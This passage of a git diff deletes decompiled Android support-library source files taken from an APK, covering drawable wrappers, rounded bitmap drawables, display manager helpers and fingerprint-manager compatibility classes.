*/ - public static abstract class DrawableWrapperState extends Drawable.ConstantState { - int mChangingConfigurations; - Drawable.ConstantState mDrawableState; - ColorStateList mTint; - PorterDuff.Mode mTintMode; - - @Override // android.graphics.drawable.Drawable.ConstantState - public abstract Drawable newDrawable(Resources resources); - - /* JADX INFO: Access modifiers changed from: package-private */ - public DrawableWrapperState(DrawableWrapperState drawableWrapperState, Resources resources) { - this.mTint = null; - this.mTintMode = DrawableWrapperGingerbread.DEFAULT_TINT_MODE; - if (drawableWrapperState != null) { - this.mChangingConfigurations = drawableWrapperState.mChangingConfigurations; - this.mDrawableState = drawableWrapperState.mDrawableState; - this.mTint = drawableWrapperState.mTint; - this.mTintMode = drawableWrapperState.mTintMode; - } - } - - @Override // android.graphics.drawable.Drawable.ConstantState - public Drawable newDrawable() { - return newDrawable(null); - } - - @Override // android.graphics.drawable.Drawable.ConstantState - public int getChangingConfigurations() { - int i = this.mChangingConfigurations; - Drawable.ConstantState constantState = this.mDrawableState; - return i | (constantState != null ? constantState.getChangingConfigurations() : 0); - } - - boolean canConstantState() { - return this.mDrawableState != null; - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class DrawableWrapperStateBase extends DrawableWrapperState { - DrawableWrapperStateBase(DrawableWrapperState drawableWrapperState, Resources resources) { - super(drawableWrapperState, resources); - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapperGingerbread.DrawableWrapperState, android.graphics.drawable.Drawable.ConstantState - public Drawable newDrawable(Resources resources) { - return new DrawableWrapperGingerbread(this, resources); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperHoneycomb.java deleted file mode 100644 index 3b18eb6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperHoneycomb.java +++ /dev/null @@ -1,39 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.content.res.Resources; -import android.graphics.drawable.Drawable; -import android.support.v4.graphics.drawable.DrawableWrapperGingerbread; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DrawableWrapperHoneycomb extends DrawableWrapperGingerbread { - /* JADX INFO: Access modifiers changed from: package-private */ - public DrawableWrapperHoneycomb(Drawable drawable) { - super(drawable); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public DrawableWrapperHoneycomb(DrawableWrapperGingerbread.DrawableWrapperState drawableWrapperState, Resources resources) { - super(drawableWrapperState, resources); - } - - @Override // android.graphics.drawable.Drawable - public void jumpToCurrentState() { - this.mDrawable.jumpToCurrentState(); - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapperGingerbread - DrawableWrapperGingerbread.DrawableWrapperState mutateConstantState() { - return new DrawableWrapperStateHoneycomb(this.mState, null); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class DrawableWrapperStateHoneycomb extends DrawableWrapperGingerbread.DrawableWrapperState { - DrawableWrapperStateHoneycomb(DrawableWrapperGingerbread.DrawableWrapperState drawableWrapperState, Resources resources) { - super(drawableWrapperState, resources); - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapperGingerbread.DrawableWrapperState, android.graphics.drawable.Drawable.ConstantState - public Drawable newDrawable(Resources resources) { - return new DrawableWrapperHoneycomb(this, resources); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperKitKat.java deleted file mode 100644 index 7601824..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperKitKat.java +++ /dev/null @@ -1,44 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.content.res.Resources; -import android.graphics.drawable.Drawable; -import android.support.v4.graphics.drawable.DrawableWrapperGingerbread; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DrawableWrapperKitKat extends DrawableWrapperHoneycomb { - /* JADX INFO: Access modifiers changed from: package-private */ - public DrawableWrapperKitKat(Drawable drawable) { - super(drawable); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public DrawableWrapperKitKat(DrawableWrapperGingerbread.DrawableWrapperState drawableWrapperState, Resources resources) { - super(drawableWrapperState, resources); - } - - @Override // android.graphics.drawable.Drawable - public void setAutoMirrored(boolean z) { - this.mDrawable.setAutoMirrored(z); - } - - @Override // android.graphics.drawable.Drawable - public boolean isAutoMirrored() { - return this.mDrawable.isAutoMirrored(); - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapperHoneycomb, android.support.v4.graphics.drawable.DrawableWrapperGingerbread - DrawableWrapperGingerbread.DrawableWrapperState mutateConstantState() { - return new DrawableWrapperStateKitKat(this.mState, null); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class DrawableWrapperStateKitKat extends DrawableWrapperGingerbread.DrawableWrapperState { - DrawableWrapperStateKitKat(DrawableWrapperGingerbread.DrawableWrapperState drawableWrapperState, Resources resources) { - super(drawableWrapperState, resources); - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapperGingerbread.DrawableWrapperState, android.graphics.drawable.Drawable.ConstantState - public Drawable newDrawable(Resources resources) { - return new DrawableWrapperKitKat(this, resources); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperLollipop.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperLollipop.java deleted file mode 100644 index 5d30792..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperLollipop.java +++ /dev/null @@ -1,98 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.content.res.ColorStateList; -import android.content.res.Resources; -import android.graphics.Outline; -import android.graphics.PorterDuff; -import android.graphics.Rect; -import android.graphics.drawable.Drawable; -import android.support.v4.graphics.drawable.DrawableWrapperGingerbread; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DrawableWrapperLollipop extends DrawableWrapperKitKat { - @Override // android.support.v4.graphics.drawable.DrawableWrapperGingerbread - protected boolean isCompatTintEnabled() { - return false; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public DrawableWrapperLollipop(Drawable drawable) { - super(drawable); - } - - DrawableWrapperLollipop(DrawableWrapperGingerbread.DrawableWrapperState drawableWrapperState, Resources resources) { - super(drawableWrapperState, resources); - } - - @Override // android.graphics.drawable.Drawable - public void setHotspot(float f, float f2) { - this.mDrawable.setHotspot(f, f2); - } - - @Override // android.graphics.drawable.Drawable - public void setHotspotBounds(int i, int i2, int i3, int i4) { - this.mDrawable.setHotspotBounds(i, i2, i3, i4); - } - - @Override // android.graphics.drawable.Drawable - public void getOutline(Outline outline) { - this.mDrawable.getOutline(outline); - } - - @Override // android.graphics.drawable.Drawable - public Rect getDirtyBounds() { - return this.mDrawable.getDirtyBounds(); - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapperGingerbread, android.graphics.drawable.Drawable, android.support.v4.graphics.drawable.TintAwareDrawable - public void setTintList(ColorStateList colorStateList) { - if (isCompatTintEnabled()) { - super.setTintList(colorStateList); - } else { - this.mDrawable.setTintList(colorStateList); - } - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapperGingerbread, android.graphics.drawable.Drawable, android.support.v4.graphics.drawable.TintAwareDrawable - public void setTint(int i) { - if (isCompatTintEnabled()) { - super.setTint(i); - } else { - this.mDrawable.setTint(i); - } - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapperGingerbread, android.graphics.drawable.Drawable, android.support.v4.graphics.drawable.TintAwareDrawable - public void setTintMode(PorterDuff.Mode mode) { - if (isCompatTintEnabled()) { - super.setTintMode(mode); - } else { - this.mDrawable.setTintMode(mode); - } - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapperGingerbread, android.graphics.drawable.Drawable - public boolean setState(int[] iArr) { - if (super.setState(iArr)) { - invalidateSelf(); - return true; - } - return false; - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapperKitKat, android.support.v4.graphics.drawable.DrawableWrapperHoneycomb, android.support.v4.graphics.drawable.DrawableWrapperGingerbread - DrawableWrapperGingerbread.DrawableWrapperState mutateConstantState() { - return new DrawableWrapperStateLollipop(this.mState, null); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class DrawableWrapperStateLollipop extends DrawableWrapperGingerbread.DrawableWrapperState { - DrawableWrapperStateLollipop(DrawableWrapperGingerbread.DrawableWrapperState drawableWrapperState, Resources resources) { - super(drawableWrapperState, resources); - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapperGingerbread.DrawableWrapperState, android.graphics.drawable.Drawable.ConstantState - public Drawable newDrawable(Resources resources) { - return new DrawableWrapperLollipop(this, resources); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/RoundedBitmapDrawable.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/RoundedBitmapDrawable.java deleted file mode 100644 index 6481ba6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/RoundedBitmapDrawable.java +++ /dev/null @@ -1,257 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.content.res.Resources; -import android.graphics.Bitmap; -import android.graphics.BitmapShader; -import android.graphics.Canvas; -import android.graphics.ColorFilter; -import android.graphics.Matrix; -import android.graphics.Paint; -import android.graphics.Rect; -import android.graphics.RectF; -import android.graphics.Shader; -import android.graphics.drawable.Drawable; -import android.util.DisplayMetrics; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class RoundedBitmapDrawable extends Drawable { - private static final int DEFAULT_PAINT_FLAGS = 3; - final Bitmap mBitmap; - private int mBitmapHeight; - private final BitmapShader mBitmapShader; - private int mBitmapWidth; - private float mCornerRadius; - private boolean mIsCircular; - private int mTargetDensity; - private int mGravity = 119; - private final Paint mPaint = new Paint(3); - private final Matrix mShaderMatrix = new Matrix(); - final Rect mDstRect = new Rect(); - private final RectF mDstRectF = new RectF(); - private boolean mApplyGravity = true; - - private static boolean isGreaterThanZero(float f) { - return f > 0.05f; - } - - public final Paint getPaint() { - return this.mPaint; - } - - public final Bitmap getBitmap() { - return this.mBitmap; - } - - private void computeBitmapSize() { - this.mBitmapWidth = this.mBitmap.getScaledWidth(this.mTargetDensity); - this.mBitmapHeight = this.mBitmap.getScaledHeight(this.mTargetDensity); - } - - public void setTargetDensity(Canvas canvas) { - setTargetDensity(canvas.getDensity()); - } - - public void setTargetDensity(DisplayMetrics displayMetrics) { - setTargetDensity(displayMetrics.densityDpi); - } - - public void setTargetDensity(int i) { - if (this.mTargetDensity != i) { - if (i == 0) { - i = 160; - } - this.mTargetDensity = i; - if (this.mBitmap != null) { - computeBitmapSize(); - } - invalidateSelf(); - } - } - - public int getGravity() { - return this.mGravity; - } - - public void setGravity(int i) { - if (this.mGravity != i) { - this.mGravity = i; - this.mApplyGravity = true; - invalidateSelf(); - } - } - - public void setMipMap(boolean z) { - throw new UnsupportedOperationException(); - } - - public boolean hasMipMap() { - throw new UnsupportedOperationException(); - } - - public void setAntiAlias(boolean z) { - this.mPaint.setAntiAlias(z); - invalidateSelf(); - } - - public boolean hasAntiAlias() { - return this.mPaint.isAntiAlias(); - } - - @Override // android.graphics.drawable.Drawable - public void setFilterBitmap(boolean z) { - this.mPaint.setFilterBitmap(z); - invalidateSelf(); - } - - @Override // android.graphics.drawable.Drawable - public void setDither(boolean z) { - this.mPaint.setDither(z); - invalidateSelf(); - } - - void gravityCompatApply(int i, int i2, int i3, Rect rect, Rect rect2) { - throw new UnsupportedOperationException(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void updateDstRect() { - if (this.mApplyGravity) { - if (this.mIsCircular) { - int min = Math.min(this.mBitmapWidth, this.mBitmapHeight); - gravityCompatApply(this.mGravity, min, min, getBounds(), this.mDstRect); - int min2 = Math.min(this.mDstRect.width(), this.mDstRect.height()); - this.mDstRect.inset(Math.max(0, (this.mDstRect.width() - min2) / 2), Math.max(0, (this.mDstRect.height() - min2) / 2)); - this.mCornerRadius = min2 * 0.5f; - } else { - gravityCompatApply(this.mGravity, this.mBitmapWidth, this.mBitmapHeight, getBounds(), this.mDstRect); - } - this.mDstRectF.set(this.mDstRect); - if (this.mBitmapShader != null) { - this.mShaderMatrix.setTranslate(this.mDstRectF.left, this.mDstRectF.top); - this.mShaderMatrix.preScale(this.mDstRectF.width() / this.mBitmap.getWidth(), this.mDstRectF.height() / this.mBitmap.getHeight()); - this.mBitmapShader.setLocalMatrix(this.mShaderMatrix); - this.mPaint.setShader(this.mBitmapShader); - } - this.mApplyGravity = false; - } - } - - @Override // android.graphics.drawable.Drawable - public void draw(Canvas canvas) { - Bitmap bitmap = this.mBitmap; - if (bitmap == null) { - return; - } - updateDstRect(); - if (this.mPaint.getShader() == null) { - canvas.drawBitmap(bitmap, (Rect) null, this.mDstRect, this.mPaint); - return; - } - RectF rectF = this.mDstRectF; - float f = this.mCornerRadius; - canvas.drawRoundRect(rectF, f, f, this.mPaint); - } - - @Override // android.graphics.drawable.Drawable - public void setAlpha(int i) { - if (i != this.mPaint.getAlpha()) { - this.mPaint.setAlpha(i); - invalidateSelf(); - } - } - - @Override // android.graphics.drawable.Drawable - public int getAlpha() { - return this.mPaint.getAlpha(); - } - - @Override // android.graphics.drawable.Drawable - public void setColorFilter(ColorFilter colorFilter) { - this.mPaint.setColorFilter(colorFilter); - invalidateSelf(); - } - - @Override // android.graphics.drawable.Drawable - public ColorFilter getColorFilter() { - return this.mPaint.getColorFilter(); - } - - public void setCircular(boolean z) { - this.mIsCircular = z; - this.mApplyGravity = true; - if (z) { - updateCircularCornerRadius(); - this.mPaint.setShader(this.mBitmapShader); - invalidateSelf(); - return; - } - setCornerRadius(0.0f); - } - - private void updateCircularCornerRadius() { - this.mCornerRadius = Math.min(this.mBitmapHeight, this.mBitmapWidth) / 2; - } - - public boolean isCircular() { - return this.mIsCircular; - } - - public void setCornerRadius(float f) { - if (this.mCornerRadius == f) { - return; - } - this.mIsCircular = false; - if (isGreaterThanZero(f)) { - this.mPaint.setShader(this.mBitmapShader); - } else { - this.mPaint.setShader(null); - } - this.mCornerRadius = f; - invalidateSelf(); - } - - @Override // android.graphics.drawable.Drawable - protected void onBoundsChange(Rect rect) { - super.onBoundsChange(rect); - if (this.mIsCircular) { - updateCircularCornerRadius(); - } - this.mApplyGravity = true; - } - - public float getCornerRadius() { - return this.mCornerRadius; - } - - @Override // android.graphics.drawable.Drawable - public int getIntrinsicWidth() { - return this.mBitmapWidth; - } - - @Override // android.graphics.drawable.Drawable - public int getIntrinsicHeight() { - return this.mBitmapHeight; - } - - @Override // android.graphics.drawable.Drawable - public int getOpacity() { - Bitmap bitmap; - return (this.mGravity != 119 || this.mIsCircular || (bitmap = this.mBitmap) == null || bitmap.hasAlpha() || this.mPaint.getAlpha() < 255 || isGreaterThanZero(this.mCornerRadius)) ? -3 : -1; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public RoundedBitmapDrawable(Resources resources, Bitmap bitmap) { - this.mTargetDensity = 160; - if (resources != null) { - this.mTargetDensity = resources.getDisplayMetrics().densityDpi; - } - this.mBitmap = bitmap; - if (bitmap != null) { - computeBitmapSize(); - this.mBitmapShader = new BitmapShader(bitmap, Shader.TileMode.CLAMP, Shader.TileMode.CLAMP); - return; - } - this.mBitmapHeight = -1; - this.mBitmapWidth = -1; - this.mBitmapShader = null; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/RoundedBitmapDrawable21.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/RoundedBitmapDrawable21.java deleted file mode 100644 index 4e2d665..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/RoundedBitmapDrawable21.java +++ /dev/null @@ -1,38 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.content.res.Resources; -import android.graphics.Bitmap; -import android.graphics.Outline; -import android.graphics.Rect; -import android.view.Gravity; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class RoundedBitmapDrawable21 extends RoundedBitmapDrawable { - /* JADX INFO: Access modifiers changed from: protected */ - public RoundedBitmapDrawable21(Resources resources, Bitmap bitmap) { - super(resources, bitmap); - } - - @Override // android.graphics.drawable.Drawable - public void getOutline(Outline outline) { - updateDstRect(); - outline.setRoundRect(this.mDstRect, getCornerRadius()); - } - - @Override // android.support.v4.graphics.drawable.RoundedBitmapDrawable - public void setMipMap(boolean z) { - if (this.mBitmap != null) { - this.mBitmap.setHasMipMap(z); - invalidateSelf(); - } - } - - @Override // android.support.v4.graphics.drawable.RoundedBitmapDrawable - public boolean hasMipMap() { - return this.mBitmap != null && this.mBitmap.hasMipMap(); - } - - @Override // android.support.v4.graphics.drawable.RoundedBitmapDrawable - void gravityCompatApply(int i, int i2, int i3, Rect rect, Rect rect2) { - Gravity.apply(i, i2, i3, rect, rect2, 0); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/RoundedBitmapDrawableFactory.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/RoundedBitmapDrawableFactory.java deleted file mode 100644 index 94611aa..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/RoundedBitmapDrawableFactory.java +++ /dev/null @@ -1,62 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.content.res.Resources; -import android.graphics.Bitmap; -import android.graphics.BitmapFactory; -import android.graphics.Rect; -import android.support.v4.graphics.BitmapCompat; -import android.support.v4.view.GravityCompat; -import android.util.Log; -import java.io.InputStream; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class RoundedBitmapDrawableFactory { - private static final String TAG = "RoundedBitmapDrawableFactory"; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class DefaultRoundedBitmapDrawable extends RoundedBitmapDrawable { - DefaultRoundedBitmapDrawable(Resources resources, Bitmap bitmap) { - super(resources, bitmap); - } - - @Override // android.support.v4.graphics.drawable.RoundedBitmapDrawable - public void setMipMap(boolean z) { - if (this.mBitmap != null) { - BitmapCompat.setHasMipMap(this.mBitmap, z); - invalidateSelf(); - } - } - - @Override // android.support.v4.graphics.drawable.RoundedBitmapDrawable - public boolean hasMipMap() { - return this.mBitmap != null && BitmapCompat.hasMipMap(this.mBitmap); - } - - @Override // android.support.v4.graphics.drawable.RoundedBitmapDrawable - void gravityCompatApply(int i, int i2, int i3, Rect rect, Rect rect2) { - GravityCompat.apply(i, i2, i3, rect, rect2, 0); - } - } - - public static RoundedBitmapDrawable create(Resources resources, Bitmap bitmap) { - return new RoundedBitmapDrawable21(resources, bitmap); - } - - public static RoundedBitmapDrawable create(Resources resources, String str) { - RoundedBitmapDrawable create = create(resources, BitmapFactory.decodeFile(str)); - if (create.getBitmap() == null) { - Log.w(TAG, "RoundedBitmapDrawable cannot decode " + str); - } - return create; - } - - public static RoundedBitmapDrawable create(Resources resources, InputStream inputStream) { - RoundedBitmapDrawable create = create(resources, BitmapFactory.decodeStream(inputStream)); - if (create.getBitmap() == null) { - Log.w(TAG, "RoundedBitmapDrawable cannot decode " + inputStream); - } - return create; - } - - private RoundedBitmapDrawableFactory() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/TintAwareDrawable.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/TintAwareDrawable.java deleted file mode 100644 index a67d501..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/TintAwareDrawable.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.content.res.ColorStateList; -import android.graphics.PorterDuff; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface TintAwareDrawable { - void setTint(int i); - - void setTintList(ColorStateList colorStateList); - - void setTintMode(PorterDuff.Mode mode); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/hardware/display/DisplayManagerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/hardware/display/DisplayManagerCompat.java deleted file mode 100644 index e204458..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/hardware/display/DisplayManagerCompat.java +++ /dev/null @@ -1,85 +0,0 @@ -package android.support.v4.hardware.display; - -import android.content.Context; -import android.view.Display; -import android.view.WindowManager; -import java.util.WeakHashMap; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class DisplayManagerCompat { - public static final String DISPLAY_CATEGORY_PRESENTATION = "android.hardware.display.category.PRESENTATION"; - private static final WeakHashMap sInstances = new WeakHashMap<>(); - - public abstract Display getDisplay(int i); - - public abstract Display[] getDisplays(); - - public abstract Display[] getDisplays(String str); - - DisplayManagerCompat() { - } - - public static DisplayManagerCompat getInstance(Context context) { - DisplayManagerCompat displayManagerCompat; - WeakHashMap weakHashMap = sInstances; - synchronized (weakHashMap) { - displayManagerCompat = weakHashMap.get(context); - if (displayManagerCompat == null) { - displayManagerCompat = new JellybeanMr1Impl(context); - weakHashMap.put(context, displayManagerCompat); - } - } - return displayManagerCompat; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class LegacyImpl extends DisplayManagerCompat { - private final WindowManager mWindowManager; - - public LegacyImpl(Context context) { - this.mWindowManager = (WindowManager) context.getSystemService("window"); - } - - @Override // android.support.v4.hardware.display.DisplayManagerCompat - public Display getDisplay(int i) { - Display defaultDisplay = this.mWindowManager.getDefaultDisplay(); - if (defaultDisplay.getDisplayId() == i) { - return defaultDisplay; - } - return null; - } - - @Override // android.support.v4.hardware.display.DisplayManagerCompat - public Display[] getDisplays() { - return new Display[]{this.mWindowManager.getDefaultDisplay()}; - } - - @Override // android.support.v4.hardware.display.DisplayManagerCompat - public Display[] getDisplays(String str) { - return str == null ? getDisplays() : new Display[0]; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class JellybeanMr1Impl extends DisplayManagerCompat { - private final Object mDisplayManagerObj; - - public JellybeanMr1Impl(Context context) { - this.mDisplayManagerObj = DisplayManagerJellybeanMr1.getDisplayManager(context); - } - - @Override // android.support.v4.hardware.display.DisplayManagerCompat - public Display getDisplay(int i) { - return DisplayManagerJellybeanMr1.getDisplay(this.mDisplayManagerObj, i); - } - - @Override // android.support.v4.hardware.display.DisplayManagerCompat - public Display[] getDisplays() { - return DisplayManagerJellybeanMr1.getDisplays(this.mDisplayManagerObj); - } - - @Override // android.support.v4.hardware.display.DisplayManagerCompat - public Display[] getDisplays(String str) { - return DisplayManagerJellybeanMr1.getDisplays(this.mDisplayManagerObj, str); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/hardware/display/DisplayManagerJellybeanMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/hardware/display/DisplayManagerJellybeanMr1.java deleted file mode 100644 index 694b79b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/hardware/display/DisplayManagerJellybeanMr1.java +++ /dev/null @@ -1,26 +0,0 @@ -package android.support.v4.hardware.display; - -import android.content.Context; -import android.hardware.display.DisplayManager; -import android.view.Display; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -final class DisplayManagerJellybeanMr1 { - DisplayManagerJellybeanMr1() { - } - - public static Object getDisplayManager(Context context) { - return context.getSystemService("display"); - } - - public static Display getDisplay(Object obj, int i) { - return ((DisplayManager) obj).getDisplay(i); - } - - public static Display[] getDisplays(Object obj) { - return ((DisplayManager) obj).getDisplays(); - } - - public static Display[] getDisplays(Object obj, String str) { - return ((DisplayManager) obj).getDisplays(str); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/hardware/fingerprint/FingerprintManagerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/hardware/fingerprint/FingerprintManagerCompat.java deleted file mode 100644 index 0c85f80..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/hardware/fingerprint/FingerprintManagerCompat.java +++ /dev/null @@ -1,199 +0,0 @@ -package android.support.v4.hardware.fingerprint; - -import android.content.Context; -import android.os.Handler; -import android.support.v4.hardware.fingerprint.FingerprintManagerCompatApi23; -import android.support.v4.os.CancellationSignal; -import java.security.Signature; -import javax.crypto.Cipher; -import javax.crypto.Mac; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class FingerprintManagerCompat { - static final FingerprintManagerCompatImpl IMPL = new Api23FingerprintManagerCompatImpl(); - private Context mContext; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class AuthenticationCallback { - public void onAuthenticationError(int i, CharSequence charSequence) { - } - - public void onAuthenticationFailed() { - } - - public void onAuthenticationHelp(int i, CharSequence charSequence) { - } - - public void onAuthenticationSucceeded(AuthenticationResult authenticationResult) { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private interface FingerprintManagerCompatImpl { - void authenticate(Context context, CryptoObject cryptoObject, int i, CancellationSignal cancellationSignal, AuthenticationCallback authenticationCallback, Handler handler); - - boolean hasEnrolledFingerprints(Context context); - - boolean isHardwareDetected(Context context); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class LegacyFingerprintManagerCompatImpl implements FingerprintManagerCompatImpl { - @Override // android.support.v4.hardware.fingerprint.FingerprintManagerCompat.FingerprintManagerCompatImpl - public void authenticate(Context context, CryptoObject cryptoObject, int i, CancellationSignal cancellationSignal, AuthenticationCallback authenticationCallback, Handler handler) { - } - - @Override // android.support.v4.hardware.fingerprint.FingerprintManagerCompat.FingerprintManagerCompatImpl - public boolean hasEnrolledFingerprints(Context context) { - return false; - } - - @Override // android.support.v4.hardware.fingerprint.FingerprintManagerCompat.FingerprintManagerCompatImpl - public boolean isHardwareDetected(Context context) { - return false; - } - } - - public static FingerprintManagerCompat from(Context context) { - return new FingerprintManagerCompat(context); - } - - private FingerprintManagerCompat(Context context) { - this.mContext = context; - } - - public boolean hasEnrolledFingerprints() { - return IMPL.hasEnrolledFingerprints(this.mContext); - } - - public boolean isHardwareDetected() { - return IMPL.isHardwareDetected(this.mContext); - } - - public void authenticate(CryptoObject cryptoObject, int i, CancellationSignal cancellationSignal, AuthenticationCallback authenticationCallback, Handler handler) { - IMPL.authenticate(this.mContext, cryptoObject, i, cancellationSignal, authenticationCallback, handler); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class CryptoObject { - private final Cipher mCipher; - private final Mac mMac; - private final Signature mSignature; - - public CryptoObject(Signature signature) { - this.mSignature = signature; - this.mCipher = null; - this.mMac = null; - } - - public CryptoObject(Cipher cipher) { - this.mCipher = cipher; - this.mSignature = null; - this.mMac = null; - } - - public CryptoObject(Mac mac) { - this.mMac = mac; - this.mCipher = null; - this.mSignature = null; - } - - public Signature getSignature() { - return this.mSignature; - } - - public Cipher getCipher() { - return this.mCipher; - } - - public Mac getMac() { - return this.mMac; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class AuthenticationResult { - private CryptoObject mCryptoObject; - - public AuthenticationResult(CryptoObject cryptoObject) { - this.mCryptoObject = cryptoObject; - } - - public CryptoObject getCryptoObject() { - return this.mCryptoObject; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class Api23FingerprintManagerCompatImpl implements FingerprintManagerCompatImpl { - @Override // android.support.v4.hardware.fingerprint.FingerprintManagerCompat.FingerprintManagerCompatImpl - public boolean hasEnrolledFingerprints(Context context) { - return FingerprintManagerCompatApi23.hasEnrolledFingerprints(context); - } - - @Override // android.support.v4.hardware.fingerprint.FingerprintManagerCompat.FingerprintManagerCompatImpl - public boolean isHardwareDetected(Context context) { - return FingerprintManagerCompatApi23.isHardwareDetected(context); - } - - @Override // android.support.v4.hardware.fingerprint.FingerprintManagerCompat.FingerprintManagerCompatImpl - public void authenticate(Context context, CryptoObject cryptoObject, int i, CancellationSignal cancellationSignal, AuthenticationCallback authenticationCallback, Handler handler) { - FingerprintManagerCompatApi23.authenticate(context, wrapCryptoObject(cryptoObject), i, cancellationSignal != null ? cancellationSignal.getCancellationSignalObject() : null, wrapCallback(authenticationCallback), handler); - } - - private static FingerprintManagerCompatApi23.CryptoObject wrapCryptoObject(CryptoObject cryptoObject) { - if (cryptoObject == null) { - return null; - } - if (cryptoObject.getCipher() != null) { - return new FingerprintManagerCompatApi23.CryptoObject(cryptoObject.getCipher()); - } - if (cryptoObject.getSignature() != null) { - return new FingerprintManagerCompatApi23.CryptoObject(cryptoObject.getSignature()); - } - if (cryptoObject.getMac() != null) { - return new FingerprintManagerCompatApi23.CryptoObject(cryptoObject.getMac()); - } - return null; - } - - static CryptoObject unwrapCryptoObject(FingerprintManagerCompatApi23.CryptoObject cryptoObject) { - if (cryptoObject == null) { - return null; - } - if (cryptoObject.getCipher() != null) { - return new CryptoObject(cryptoObject.getCipher()); - } - if (cryptoObject.getSignature() != null) { - return new CryptoObject(cryptoObject.getSignature()); - } - if (cryptoObject.getMac() != null) { - return new CryptoObject(cryptoObject.getMac()); - } - return null; - } - - private static FingerprintManagerCompatApi23.AuthenticationCallback wrapCallback(final AuthenticationCallback authenticationCallback) { - return new FingerprintManagerCompatApi23.AuthenticationCallback() { // from class: android.support.v4.hardware.fingerprint.FingerprintManagerCompat.Api23FingerprintManagerCompatImpl.1 - @Override // android.support.v4.hardware.fingerprint.FingerprintManagerCompatApi23.AuthenticationCallback - public void onAuthenticationError(int i, CharSequence charSequence) { - AuthenticationCallback.this.onAuthenticationError(i, charSequence); - } - - @Override // android.support.v4.hardware.fingerprint.FingerprintManagerCompatApi23.AuthenticationCallback - public void onAuthenticationHelp(int i, CharSequence charSequence) { - AuthenticationCallback.this.onAuthenticationHelp(i, charSequence); - } - - @Override // 